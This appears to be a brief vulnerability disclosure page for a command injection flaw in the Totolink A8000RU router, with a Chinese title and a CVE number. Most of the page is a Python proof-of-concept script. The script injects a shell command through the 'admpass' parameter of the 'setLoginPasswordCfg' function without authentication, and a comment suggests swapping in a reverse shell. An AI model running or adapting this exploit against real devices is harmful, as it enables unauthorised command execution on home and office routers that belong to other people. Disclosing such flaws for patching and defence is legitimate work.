CVE-2026-7155 Totolink A8000RU操作系统命令注入漏洞

import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to inject a command (e.g., creating a test file or reverse shell) # Using ';' to separate the legitimate input and the malicious command injection_payload = "; touch /tmp/poc_success" # Prepare the data payload targeting the vulnerable function # The function is 'setLoginPasswordCfg' and the vulnerable parameter is 'admpass' data = { "topicurl": "setLoginPasswordCfg", "admpass": injection_payload } try: # Send the POST request to the target # No authentication is required based on the vulnerability analysis response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the command was executed on the target device.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")